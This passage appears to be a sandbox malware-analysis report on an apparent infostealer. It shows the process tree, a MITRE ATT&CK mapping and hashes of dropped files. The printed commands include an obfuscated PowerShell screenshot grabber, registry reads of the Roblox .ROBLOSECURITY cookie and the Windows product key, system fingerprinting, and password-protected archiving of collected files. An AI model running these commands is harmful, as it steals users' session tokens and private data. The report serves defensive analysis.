JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4472
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3700
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rtd5rdst\rtd5rdst.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4904
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF855.tmp" "c:\Users\Admin\AppData\Local\Temp\rtd5rdst\CSC76B819CE32B14A5EA9EBB7982C355E9.TMP"
        6⤵
        
        PID:5056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:632
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:512
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2140
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:2056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2308
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:4000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2024
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4992
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4264
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2928
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4740
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      PID:2940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    PID:1788
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:2648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    PID:1188
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:4988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    PID:3524
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    PID:856
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:2560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    PID:456
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI39642\rar.exe a -r -hp"22" "C:\Users\Admin\AppData\Local\Temp\sTzAz.zip" *"
    3⤵
    - Executes a command shell one-liner
    PID:1168
  - - C:\Users\Admin\AppData\Local\Temp\_MEI39642\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI39642\rar.exe a -r -hp"22" "C:\Users\Admin\AppData\Local\Temp\sTzAz.zip" *
      4⤵
      Executes dropped EXE
      PID:676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3844"
    3⤵
    - Executes a command shell one-liner
    PID:1060
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 3844
      4⤵
      Kills process with taskkill
      PID:1648

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3240

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 4211b5503de68413f5605cbeec4a49fb46fbec44c58df95be892f0dc308a39cf
MD5 a15743cd087226baafa094c9aed07dc4
SHA1 2124cf2ac13da80b2e3cd37d3eab477261771423
SHA512 301e82e45c3e190bdbc1316cda1cd735434c5aa873a57322e807c7cf4c23e006e11a7347ebb0f8afed181d3a4d860202cbd6fc721b9970296c7a4b1a367805a7
TLSH
T11E112223F38C8920CC96163A509DAC6172B586CB81AEDF9F7FC0C210A5BF584CBA1294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fed651a637a88f41d225a4e81d1719f30a881fca84b3fdb301eddf7907353127
MD5 b246fb203a58292413354b82df34e018
SHA1 befe94fda31032156073718d95775195b02b5df9
SHA512 12f805a9d7a24623fe7769b0d6e0f1dc350b2f9fad542690ce933991d44bb076376c7d11b969836c15b523e51f7c8bcb41376703fd7aaafcafcc458c43f32d36
TLSH
T120115323B3DC8A21CC96163A509D9C5176B682C7819EDF9FABC0D201A1BF594CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5b49723a7773f2fe1f6093236e7b9b2c546f0873635d02346cb39535811234fa
MD5 7511c81925750deb7ad1b9b80eea8a8d
SHA1 6ea759b3cbd243ae11435c6d6c5ced185eb01f49
SHA512 5f7e69316d39525d137a7a833f8c746ceef8f1b2295348393fb3244cca8b962fbaad0f7da49da453fe97e2c49b1f41f06138111ac5ff97fdc33c300350ec3a1b
TLSH
T155117623F3DC8A21CC96163A509D9C1176B683C7819EDF9F6BC0D201A5BF594CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

RESF855.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESF855.tmp
Size 1KB
SHA256 12d34e12fac56321770d3a1578e138bae75cd211a710ec24d9223e0ce73258cf
MD5 631de6bc930ee980b53f49bbf8c412a2
SHA1 92e76ae8f7d7489ae295590918d4b7c0117b3220
SHA512 1a9ba702dd4e48d557c03a4cd03e9104cdf8486031dcf1e24e321f7ce60ab0ea53b2669790d964ae9563695e9c2af94ef57e3ef11a43d75a9aad7993b3c23a9b
TLSH
T13621C00557E9471FF0735B3169FA072BA224FE95EF62976F8540012C1D51204EEA1E73
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI39642\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI39642\VCRUNTIME140_1.dll
Size 48KB
SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
MD5 c0c0b4c611561f94798b62eb43097722
SHA1 523f515eed3af6d50e57a3eaeb906f4ccc1865fe
SHA512 35db454dbcc7ed89842c0440b92ce0b0b0db41dbd5432a36a0b7e1eddf51704b1f0d6cff5e3a3b0c3ff5db3d8632fed000471180ad72e39d8dbe68a757ccdfb0
SSDEEP 768:vzzO6ujT3MbR3v0Cz6Sz5q83ywug1HDV9zxfYbK9z:mq/oMx3hXHDnzxfYiz
TLSH
T1AE236BA453784486D4AB99B0C0DAEE577D7CFA964B10928F0BA0D15C1F637D0EB3D21B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_asyncio.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI39642\_asyncio.pyd
Size 41KB
SHA256 d1973efc742e722e190cc25c034269a865da1b0714b8513ff17e95ff9367c36f
MD5 223030e91e35b6a9a72e6bab34f79288
SHA1 8b676cacc0b6c9837fe13aab78b3ea7247c073c5
SHA512 a689cd20423a7ee9f9ece7ffbcb36d938b8e0e8afa94f172cba1efbd04a5447d92d0b39e141ac33215acaa6671a42b206946f6eabd6df9b1eca92950d4a65381
SSDEEP 768:01av4QfBZq/4KTgZPkAI2DkbLitspdwIADnSKhy5RNLaRYT2Ip4OLTxf1ml9dHM0:OaFZZqQKTgSAI2Q1wIADnSWy7NsR9CfQ
TLSH
T18013C0C6C634D05BF693BD30A394DD92FA39FBD314554B7B20DAA29A4E17390A307226
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI39642\_bz2.pyd
Size 51KB
SHA256 b7d7061ae98571baa096c2759e0b0718bca53df21ddc1035598869ff6c4285e6
MD5 cfd10511355ebc3c74501e5dcb8a3119
SHA1 2f3054490a665413d2e709f176d4c2f4b869151e
SHA512 ba5afe045c88422b6de328d43a0872f785f9e0a5ac572be2cfc22347f5305478d68d6670f2b47e1800e5c34c4502ab970d8091bc5e62fbadd1f61a33603dbade
SSDEEP 1536:FXGnt8lSbuRkGSdv47IA3VCPy7NsR9KfIkWO:F2ntTbuRkTdvcIA3VCn
TLSH
T10533E1DF897C402AC67367F203A4E782FE3D67E74422574630AD63D88EA73D0A746259
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI39642\_ctypes.pyd
Size 67KB
SHA256 9e969353133fe3ba0e461d916f440edbb0bb9d5e6eb947e1a0da20f229417fca
MD5 fd956d13427d7402c8db74f28aab8aac
SHA1 6d2faf628ce8fe3e76953896e67c66f94f3548b3
SHA512 9b98ac719270f3b89c76f27dc83f25586ff2d729c0c9cc5c8262fbf04e3c03268ea7638e4b3d6de7e80f27f87c1e1f0261d35a26638d9aa07173897b786a4d71
SSDEEP 1536:nvH6pv5fI2T+++ARtU1T8XIZALFLUtzOIAGPVuy7NsR96tfIbHnvcY:vH0v5rTpj1u6IAGPVBuTkY
TLSH
T19863E1DB056CD182EDA3697132D0CD96F639BB935229537730EFB19A48133D0A32632B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI39642\_decimal.pyd
Size 121KB
SHA256 67480b0b571b2d7e9e3d3b557dc6412cf226376afdc34c9775c9001080df9829
MD5 41716edd753347330544853d4a60a5f7
SHA1 9100e96d2209cf712a0dfb52c1eaebe250315b80
SHA512 df46b50ba9ffac55b4e43d2a28ecad8bdd231dc93fd300ad01bfa6d60a9205d02047db1f2c95ff8e262ec08d86c0760e04c4074f23db2a8485a8e93c8bc14135
SSDEEP 3072:ce1QUJWnNUmuW5ssgDpi8vDdKCVlb5/k7IADqDx0M:csQUYNUrOsxpvvDdXP5/kUx0
TLSH
T1E7C302E64971D4D1FA43C93293E5CB42BD3C5FAB07998B926016938E0FC2393E36B159
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI39642\_hashlib.pyd
Size 38KB
